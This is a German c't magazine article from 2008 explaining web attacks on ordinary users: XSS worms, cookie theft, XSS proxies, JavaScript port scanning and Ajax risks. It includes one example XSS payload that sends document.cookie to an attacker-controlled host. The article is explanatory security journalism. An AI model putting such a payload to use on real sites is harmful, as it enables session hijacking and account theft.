Dunkle Flecken
Herkömmliche Angriffe per infizierten Mail-Anhang und Schwachstellen in Windows haben fast ausgedient. Mit ausgefeilten Tricks versuchen die Kriminellen heute Webseiten für ihre Zwecke zu missbrauchen – und zwar die, bei denen man am wenigsten mit Angriffen rechnet.
- Daniel Bachfeld
Erwarte das Unerwartete, sonst wirst du es nicht finden“, wusste schon der griechische Philosoph Heraklit rund 500 Jahre vor Christi Geburt. Gerade in Bezug auf die Gefahren im Internet wird es immer wichtiger, sich auf Angriffe aus allen Richtungen gefasst zu machen. Selbst wer sich in Sicherheit wiegt, weil er nur auf bekannten, vermeintlich sicheren Seiten surft, ist nicht vor den Attacken der Internet-Mafia gefeit.
Lange Zeit galt: Wer keine Schmuddel- oder Tauschbörsenseiten ansurft, Online-Banking-Seiten nur über Bookmarks ansurft, keine ausführbaren Anhänge in Mails doppelklickt und stets alle Sicherheits-Updates für seinen Webbrowser installiert, hat wenig zu befürchten. Zudem lassen Sicherheitsfunktionen in Windows-Betriebssystemen wie Schutz vor Buffer Overflows, Speicherverwürfelung und Benutzerkontensteuerung unter Vista (User Account Control, UAC) viele herkömmliche Angriffe verpuffen. Doch die Cyber-Kriminellen liegen nicht auf der faulen Haut und denken sich immer neue Tricks aus, um trotzdem PCs unter ihre Kontrolle zu bekommen und Daten auszuspähen.
Im Wesentlichen sind die Ziele die gleichen geblieben: Diebstahl von Passwörtern, Kreditkartennummern und PINs und TANs sowie der Aufbau von Botnetzen. Um das zu erreichen, machen die Ganoven sich die Techniken zunutze, die dem Web zum Sprung auf Version 2.0 verholfen haben: Ajax, Flash und Konsorten. Zudem greifen sie immer öfter Anwendungen an, die bis dato nicht als typisches Einfallstor in den PC galten, etwa den lange Zeit als sicherheitsunkritisch eingeschätzten Adobe Reader oder Apples QuickTime.
Eines der größten Sicherheitsprobleme im Web ist seit einigen Jahren das so genannte Cross-Site-Scripting, bei dem Angreifer ihren Opfern präparierte JavaScripte im Browser unterschieben, um zu einer bestimmten Seite gehörige Zugangsdaten oder Cookies auszulesen und diese für ihre Zwecke zu missbrauchen. Was genau die Betrüger mit gestohlenen Daten machen, erläutert der Artikel Unter Verdacht“ auf Seite 92 in c't 11/08. Die Schwierigkeit für den Angreifer lag bislang darin, sein JavaScript im Kontext der Seite ausführen zu lassen, von der er das Passwort begehrte (siehe Kasten Seite 86 in c't 11/08). Dafür musste er in der Regel eine Sicherheitslücke auf dem Server finden und einen präparierten Link mit eingebettetem Code an sein Opfer schicken, das diesen auch noch anklickte [1]. Ein typischer präparierter Link enthielt dann etwa folgenden Code <script>document.location("http://cookie-klau.de/klau.cgi?"+document.cookie);</script>, um ein Cookie an den Server des Angreifers zu senden.
XSS-Wurm
Das Mitmach-Web mit seinen vielen Social-Networking, Foren- und Blog-Seiten macht die Sache für den Angreifer einfacher: Viele erlauben die Gestaltung eigener Seiten, teilweise mit aktiven Inhalten. So lässt sich der schädliche Inhalt direkt in den Seiten platzieren. Zudem muss ein Angreifer nicht mehr mit verdächtig aussehenden Links hantieren, es genügt, seinem Opfer einen Link zu einer Seite bei einem der großen, vermeintlich vertrauenswürdigen MyIrgendwas-Anbieter zu schicken.
Auf diese Weise fingen sich zuletzt mehrere hunderttausend Anwender der vornehmlich im südamerikanischen Raum genutzten Social-Networking-Seite Orkut einem JavaScript-Wurm ein, der sich von Nutzerprofil zu Nutzerprofil schlängelte. Selbst Anwendungen, bei denen man zunächst keinen direkten Kontakt mit Webseiten vermuten würde, sind für solche Attacken mit versteckt eingebettetem Code anfällig. So musste Skype den Zugriff seines gleichnamigen Clients auf die Videoportale Metacafe und MyVideo sperren, da Angreifer in die Meta-Daten der Videos Skripte einbetten konnten. Zur Darstellung der Videos nutzt Skype den Internet Explorer, der die JavaScripte zu allem Unglück auch noch im lokalen Kontext, also mit den höchsten Rechten, ausführte.
Da Cross-Site-Scripting mittlerweile epidemische Ausmaße erreicht, versuchen die großen Anbieter von Web-2.0-Seiten das Einbetten von aktiven Inhalten in ihre Nutzerseiten durch JavaScript-Filter und andere Maßnahmen zu verhindern. Allerdings fallen einzelne Funktionen immer wieder durch das Raster und bleiben ungeschützt. Auch Google hat des Öfteren mit Cross-Site-Scripting-Lücken auf Google-Mail und Google Docs zu kämpfen. Noch bis vor kurzem war es etwa bei Googles Spreadsheets möglich, in die Tabellenfelder JavaScript-Code hineinzuschreiben, der beim Aufruf durch andere eingeladene Nutzer deren Google-Cookie auslas. Da Google diensteübergreifend ein einziges Sitzungs-Cookie nutzt, hätte ein Angreifer dieses nach einem erfolgreichen Diebstahl zur Anmeldung an allen weiteren Anwendungen missbrauchen können.
Trickkiste
Doch findige Angreifer können mit eingeschleustem JavaScript nicht nur auf einem PC gespeicherte Cookies auslesen, sie können dargestellte Inhalte von Seiten komplett oder teilweise austauschen, die Eingabe des Opfers in Formularfelder überwachen oder sogar eigene Formulare an den Server schicken. Das geht so weit, dass ein Angreifer quasi in Echtzeit den Browser seines Opfers als Proxy missbrauchen kann, um gleichzeitig auf dem Server mitzusurfen, auf dem das Opfer gerade angemeldet ist. Das Ganze funktioniert über einen in JavaScript geschriebenen XSS-Proxy in einem versteckten IFrame, der die Verbindung mit einem Server des Betrügers aufrechterhält und Kommandos entgegennimmt [2, 3]. Im Kontext des Opfers kann er auf diese Weise etwa in einem Online-Shop eigene Bestellungen aufgeben.
Mit ausgefeilten Methoden lässt sich in JavaScript auch ein Port-Scanner implementieren, mit dem Hacker aus der Ferne beispielsweise das Intranet eines Unternehmens ausforschen können, sofern ein Mitarbeiter in die Falle tappt [4]. Mit den gewonnenen Ergebnissen planen die Angreifer ihr weiteres Vorgehen.
Sorgen bereitet Sicherheitsspezialisten auch die unter Ajax benutzte XMLHttpRequest-Schnittstelle (XHR), mit der JavaScript weitere Inhalte oder Daten von einem Webserver in Teilen dynamisch nachlädt, ohne dazu die gesamte Seite neu aufbauen zu müssen, wie es bei reinen HTML-Seiten der Fall ist. Da die Schnittstelle asynchron arbeitet, muss ein JavaScript nicht erst auf eine Antwort warten, sondern kann weitere Aufgaben erledigen. Webseiten wie Google Maps wären ohne diese Schnittstelle undenkbar. Allerdings wird damit der Verkehr zwischen Browser und Server für den Anwender unkontrollierbar. Typische Anzeichen einer Browser-Aktivität wie etwa der wachsende Ladebalken in der Statuszeile sind bei Ajax ohne Funktion. In der Folge kann auch der von Angreifern in einen Browser eingeschmuggelte Code noch unauffälliger agieren. Zusätzlich kann ein Skript mit XHR Teile des HTTP-Headers selbst definieren, bevor es den Request losschickt. Für Hacker ist das die ideale Möglichkeit, um den Referrer und andere Parameter zu fälschen. Eine nähere Analyse der Sicherheit und der Probleme von Ajax liefert auch der Artikel in [5].
Den vollständigen Artikel finden Sie in c't 11/2008.
Literatur & Links
[1] Christiane Rütten, Tobias Glemser, Gesundes Misstrauen, Sicherheit von Webanwendungen, c't 26/06, S. 234
[2] Advanced Cross-Site-Scripting with Real-time Remote Attacker Control
[3] Kicking Down the Cross Domain Door
[5] Tim Wartmann, Risiko 2.0, Eine Analyse der Sicherheit von Ajax, c't 02/08, S. 130
"Surfer im Fadenkreuz"
Artikel zum Thema "Surfer im Fadenkreuz" finden Sie in der c't 11/2008:
- Wie neuartige Angriffe den Webanwender überrumpeln – S. 82
- Selbstschutz vor den neuen Bedrohungen – S. 88
- Russian Business Network verdient Millionen mit Netzbetrug – S. 92
(dab)
